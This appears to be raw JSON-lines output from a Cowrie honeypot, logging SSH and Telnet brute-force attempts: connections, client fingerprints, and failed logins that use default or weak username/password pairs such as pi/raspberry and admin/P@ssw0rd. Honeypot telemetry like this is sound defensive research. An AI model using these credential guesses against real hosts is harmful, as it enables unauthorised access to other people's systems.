{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:23.776792Z","src_ip":"91.92.42.227","session":"e106f3863dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123321","message":"login attempt [dev/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:26.123594Z","src_ip":"91.92.42.227","session":"e106f3863dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40280,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb2450830bcc","protocol":"ssh","message":"New connection: 168.167.228.74:40280 (159.203.135.109:22) [session: cb2450830bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:26.421072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:26.423634Z","src_ip":"168.167.228.74","session":"cb2450830bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:26.672920Z","src_ip":"168.167.228.74","session":"cb2450830bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"llm","password":"1234","message":"login attempt [llm/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:27.730371Z","src_ip":"168.167.228.74","session":"cb2450830bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:27.761786Z","src_ip":"91.92.42.227","session":"e106f3863dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df99b435e82","protocol":"telnet","message":"New connection: 94.23.66.112:53054 (10.17.0.5:23) [session: 9df99b435e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:28.429265Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:28.990485Z","src_ip":"168.167.228.74","session":"cb2450830bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43666,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc600f2cedb","protocol":"ssh","message":"New connection: 91.92.42.227:43666 (10.17.0.5:22) [session: ecc600f2cedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:29.714800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:30.424686Z","src_ip":"91.92.42.227","session":"ecc600f2cedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:30.426999Z","src_ip":"91.92.42.227","session":"ecc600f2cedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:33.772589Z","src_ip":"91.92.42.227","session":"ecc600f2cedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:35.635432Z","src_ip":"91.92.42.227","session":"ecc600f2cedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40028,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e1d5ba04de","protocol":"ssh","message":"New connection: 91.92.42.227:40028 (10.17.0.5:22) [session: f9e1d5ba04de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:37.430092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:37.786532Z","src_ip":"91.92.42.227","session":"f9e1d5ba04de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:37.796694Z","src_ip":"91.92.42.227","session":"f9e1d5ba04de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:39.139603Z","src_ip":"91.92.42.227","session":"f9e1d5ba04de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:40.265070Z","src_ip":"91.92.42.227","session":"f9e1d5ba04de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37430,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b29f59aefd9","protocol":"ssh","message":"New connection: 91.92.42.227:37430 (10.17.0.5:22) [session: 8b29f59aefd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:44.961829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:45.002834Z","src_ip":"91.92.42.227","session":"8b29f59aefd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:45.085790Z","src_ip":"91.92.42.227","session":"8b29f59aefd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:46.019817Z","src_ip":"91.92.42.227","session":"8b29f59aefd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:47.267143Z","src_ip":"91.92.42.227","session":"8b29f59aefd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":55478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b112e67c0a03","protocol":"telnet","message":"New connection: 94.23.66.112:55478 (10.17.0.5:23) [session: b112e67c0a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:50.756192Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37482,"dst_ip":"10.17.0.5","dst_port":22,"session":"f523ca94782e","protocol":"ssh","message":"New connection: 91.92.42.227:37482 (10.17.0.5:22) [session: f523ca94782e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:51.484184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:51.720623Z","src_ip":"91.92.42.227","session":"f523ca94782e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:51.723518Z","src_ip":"91.92.42.227","session":"f523ca94782e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:53.812668Z","src_ip":"91.92.42.227","session":"f523ca94782e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:55.296618Z","src_ip":"91.92.42.227","session":"f523ca94782e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41216,"dst_ip":"10.17.0.5","dst_port":22,"session":"7baa9a23b768","protocol":"ssh","message":"New connection: 91.92.42.227:41216 (10.17.0.5:22) [session: 7baa9a23b768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:58.831157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:58.860797Z","src_ip":"91.92.42.227","session":"7baa9a23b768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:58.922755Z","src_ip":"91.92.42.227","session":"7baa9a23b768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:59.262308Z","src_ip":"91.92.42.227","session":"7baa9a23b768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:00.349985Z","src_ip":"91.92.42.227","session":"7baa9a23b768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.76486587524414,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:01.194044Z","src_ip":"94.23.66.112","session":"9df99b435e82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60584,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d786d4135a","protocol":"ssh","message":"New connection: 91.92.42.227:60584 (10.17.0.5:22) [session: 87d786d4135a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:05.529134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:05.672117Z","src_ip":"91.92.42.227","session":"87d786d4135a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:05.674752Z","src_ip":"91.92.42.227","session":"87d786d4135a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:06.407937Z","src_ip":"91.92.42.227","session":"87d786d4135a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:07.545369Z","src_ip":"91.92.42.227","session":"87d786d4135a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54594,"dst_ip":"159.203.135.109","dst_port":22,"session":"6669395fbba5","protocol":"ssh","message":"New connection: 80.94.92.184:54594 (159.203.135.109:22) [session: 6669395fbba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:08.487065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:17:08.816766Z","src_ip":"80.94.92.184","session":"6669395fbba5","protocol":"ssh"}
